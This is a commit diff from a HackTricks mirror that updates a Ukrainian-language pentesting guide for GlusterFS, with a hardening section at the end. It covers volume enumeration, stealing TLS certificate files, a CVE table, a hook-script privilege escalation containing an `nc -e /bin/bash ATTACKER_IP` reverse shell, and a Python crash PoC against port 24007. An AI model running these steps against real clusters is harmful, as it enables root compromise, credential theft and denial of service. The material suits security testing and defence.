mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
d80adaea07
commit
6a28d6696e
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**GlusterFS** - це **розподілена файлова система**, яка об'єднує зберігання з кількох серверів в одну **уніфіковану систему**. Вона дозволяє **произвольну масштабованість**, що означає, що ви можете легко додавати або видаляти сервери зберігання без порушення загальної файлової системи. Це забезпечує високу **доступність** та **відмовостійкість** для ваших даних. З GlusterFS ви можете отримувати доступ до своїх файлів так, ніби вони зберігаються локально, незалежно від основної серверної інфраструктури. Це потужне та гнучке рішення для управління великими обсягами даних на кількох серверах.
|
||||
**GlusterFS** - це **розподілена файлова система**, яка об'єднує зберігання з кількох серверів в один **уніфікований простір імен**. Демон управління (`glusterd`) за замовчуванням слухає на **24007/TCP** і інструктує цеглини даних, які починаються з **49152/TCP** (один порт на цеглину, з інкрементом). Версії до 9.x використовували **24008–24009/TCP** для транспорту цеглин, тому ви все ще зустрінете ці порти в спадкових кластерах.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
> Порада: 24007 відповідає на RPC виклики, навіть коли вузли лише для зберігання **не** експортують жодного обсягу; отже, сервіс є надійною ціллю для півотування в великих інфраструктурах.
|
||||
|
||||
**Порт за замовчуванням**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (і далі)\
|
||||
Для порту 49152 порти, які збільшуються на 1, повинні бути відкриті для використання більшої кількості цеглин. _Раніше використовувався порт 24009 замість 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Перерахування
|
||||
|
||||
Щоб взаємодіяти з цією файловою системою, вам потрібно встановити [**клієнт GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Щоб перерахувати та змонтувати доступні томи, ви можете використовувати:
|
||||
Встановіть клієнтські утиліти на вашій атакуючій машині:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
Якщо ви отримали **помилку при спробі змонтувати файлову систему**, ви можете перевірити журнали в `/var/log/glusterfs/`
|
||||
1. **Виявлення пір та стан**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Розвідка обсягу**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Монтувати без привілеїв**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
Якщо монтування не вдається, перевірте `/var/log/glusterfs/<vol_name>-<uid>.log` на стороні клієнта. Загальні проблеми:
|
||||
|
||||
**Помилки, що згадують сертифікати**, можна виправити, викравши файли (якщо у вас є доступ до системи):
|
||||
* Примус TLS (`option transport.socket.ssl on`)
|
||||
* Контроль доступу на основі адреси (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Виправлення сертифікатів
|
||||
|
||||
І зберігши їх у вашій машині в каталозі `/etc/ssl` або `/usr/lib/ssl` (якщо використовується інший каталог, перевірте рядки, подібні до: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" у журналах).
|
||||
Викрадіть наступні файли з будь-якого авторизованого вузла клієнта та помістіть їх у `/etc/ssl/` (або в каталог, вказаний у журналі помилок):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Відомі вразливості (2022-2025)
|
||||
|
||||
| CVE | Підприємства версії | Вплив | Примітки |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Використання після звільнення в `dht_setxattr_mds_cbk`, доступне через мережу | Віддалений **DoS** та ймовірний RCE. Виправлено в 10.4.1 / 11.1. |
|
||||
| **CVE-2023-26253** | < 11.0 | Читання за межами буфера в обробнику сповіщень FUSE | Віддалений збій через спеціально підготовлені операції FS; доступний публічний PoC. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | Неправильна перевірка дозволів при монтуванні `gluster_shared_storage` | Дозволяє будь-якому неавтентифікованому клієнту монтувати об'єм адміністратора – призводить до **priv-esc**, пояснено нижче. |
|
||||
|
||||
> Завжди перевіряйте `gluster --version` **на кожному вузлі**; гетерогенні кластери є звичайними після часткових оновлень.
|
||||
|
||||
### Експлуатація `gluster_shared_storage` (Ескалація привілеїв)
|
||||
|
||||
Навіть у нових версіях багато адміністраторів залишають спеціальний об'єм `gluster_shared_storage` доступним для читання всім, оскільки це спрощує гео-реплікацію. Об'єм містить шаблони cronjob, які виконуються з **root** на кожному вузлі.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
Якщо `hooks/1/` не присутній, шукайте `/ss_bricks/` – точний шлях може змінюватися в залежності від основної версії.
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
Запуск скрипта призводить до аварійного завершення `glusterfsd` < 11.0.
|
||||
|
||||
---
|
||||
|
||||
## Укріплення та виявлення
|
||||
|
||||
* **Оновлення** – поточна LTS версія 11.1 (липень 2025). Всі CVE вище виправлені.
|
||||
* Увімкніть **TLS** для кожного блоку:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* Обмежте клієнтів за допомогою списків CIDR:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Відкрийте порт управління 24007 лише на **приватному VLAN** або через SSH тунелі.
|
||||
* Слідкуйте за журналами: `tail -f /var/log/glusterfs/glusterd.log` та налаштуйте функцію **audit-log** (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
## Посилання
|
||||
|
||||
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user